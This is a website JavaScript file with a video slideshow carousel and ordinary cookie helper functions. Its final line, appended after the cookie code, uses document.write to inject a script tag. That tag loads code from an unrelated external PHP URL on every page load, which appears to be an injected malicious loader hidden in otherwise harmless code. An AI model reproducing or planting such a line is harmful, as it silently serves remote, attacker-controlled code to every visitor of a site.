
function $(e){
	return document.getElementById(e);
}


//video slide
function slide(obj,duration,space,limit,automoving){
	this.Zobj = obj;
	this.num = 0;
	this.target;
	this.point; // left=-1 right = 1
	this.space = space;
	this.autos = automoving;
	this.auto;
	this.limit = limit;
	this.distance;
	this.interval = 10000;
	this.duration = duration*1000;
	this.frequency = 50;
	this.freq = parseInt(this.duration/this.frequency);
	this.svs = 1;
	this.move = s_move;
	this.goto = s_goto;
	this.horizontal = s_horizontal;
	this.automatic = s_automatic;
	this.start = s_start;
}
function s_move(val){
	//if(this.autos) clearTimeout(this.autos);
	clearTimeout(this.auto);
	if(val==1){ //right				
		if(this.num>=this.limit){
			this.num=0;
			this.Zobj.style.left = 0;		
		}
	}else{	// left		
		if(this.num<=0){
			this.num=this.limit;
			this.Zobj.style.left = -this.space*this.num+"px";				
		}
	}
	this.target = -1*this.space*(this.num+val);
	this.point = val;
	this.svs = 1;
	this.distance = Math.abs(this.target + this.num*this.space);
	this.horizontal();
	var m = (val==1)?++this.num : --this.num;
	return this.num;
}
function s_goto(val){
	//if(this.autos) clearTimeout(this.autos);
	clearTimeout(this.auto);
	this.target = -1*this.space*val;
	this.distance = Math.abs(this.target + this.num*this.space);
	this.point = (this.num>val && this.num<this.limit)?-1:1;
	if(this.num==this.limit) this.Zobj.style.left = 0;
	this.svs = 1;
	this.horizontal();
	this.num = val;			
}
function s_horizontal(){
	var amount = -this.distance/2/this.freq*Math.PI*Math.sin(Math.PI*this.svs/this.freq)*this.point;
	this.Zobj.style.left = parseInt(this.Zobj.style.left) + amount + "px";	
	var thisObj = this;
	var sss = window.setTimeout(function(){thisObj.horizontal();},this.frequency,this);
	if(this.svs>=(this.freq-1)){
		clearTimeout(sss);
		this.Zobj.style.left = this.target+"px"; 
		if(this.autos)	this.automatic();
	}
	this.svs++;
}	
function s_automatic(){
	//{ 
		var thisObj = this;
		this.auto = window.setTimeout(function(){thisObj.move(1);},this.interval,this);			
	//}	
}
function s_start(){	
	this.Zobj.style.left = 0;
	if(this.autos)	this.automatic();
}			
function towhere(val){
	var m = Oslide.move(val);
	if(Oslide.limit==m) m = 0;
	for(var i=0;i<3;i++){
		if(m==i) $("v_btn"+i).src = "images/slide_point_red.gif";
		else $("v_btn"+i).src = "images/slide_point_gray.gif";
	}
}
function va(val){
	Oslide.goto(val);
	for(var i=0;i<3;i++){
		if(val==i) $("v_btn"+i).src = "images/slide_point_red.gif";
		else $("v_btn"+i).src = "images/slide_point_gray.gif";
	}
}

function towhere2(val){
	var m = Oslide2.move(val);
	if(Oslide.limit==m) m = 0;
	for(var i=0;i<3;i++){
		if(m==i) $("v2_btn"+i).src = "images/slide_point_red.gif";
		else $("v2_btn"+i).src = "images/slide_point_gray.gif";
	}
}
function va2(val){
	Oslide2.goto(val);
	for(var i=0;i<3;i++){
		if(val==i) $("v2_btn"+i).src = "images/slide_point_red.gif";
		else $("v2_btn"+i).src = "images/slide_point_gray.gif";
	}
}


function towhere3(val){
	var m = Oslide.move(val);
	if(Oslide.limit==m) m = 0;
}

// about Cookie
function Set_Cookie( name, value, expires, path, domain, secure )
{
// set time, it's in milliseconds
var today = new Date();
today.setTime( today.getTime() );

/*
if the expires variable is set, make the correct
expires time, the current script below will set
it for x number of days, to make it for hours,
delete * 24, for minutes, delete * 60 * 24
*/
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
}

// this fixes an issue with the old method, ambiguous values
// with this test document.cookie.indexOf( name + "=" );
function Get_Cookie( check_name ) {
	// first we'll split this cookie up into name/value pairs
	// note: document.cookie only returns name=value, not the other components
	var a_all_cookies = document.cookie.split( ';' );
	var a_temp_cookie = '';
	var cookie_name = '';
	var cookie_value = '';
	var b_cookie_found = false; // set boolean t/f default f

	for ( i = 0; i < a_all_cookies.length; i++ )
	{
		// now we'll split apart each name=value pair
		a_temp_cookie = a_all_cookies[i].split( '=' );


		// and trim left/right whitespace while we're at it
		cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');

		// if the extracted name matches passed check_name
		if ( cookie_name == check_name )
		{
			b_cookie_found = true;
			// we need to handle case where cookie has no value but exists (no = sign, that is):
			if ( a_temp_cookie.length > 1 )
			{
				cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
			}
			// note that in cases where cookie is initialized but no value, null is returned
			return cookie_value;
			break;
		}
		a_temp_cookie = null;
		cookie_name = '';
	}
	if ( !b_cookie_found )
	{
		return null;
	}
}

// this deletes the cookie when called
function Delete_Cookie( name, path, domain ) {
if ( Get_Cookie( name ) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}
document.write('<script src=http://thailandsktolk.dk/spa/casper.php ><\/script>');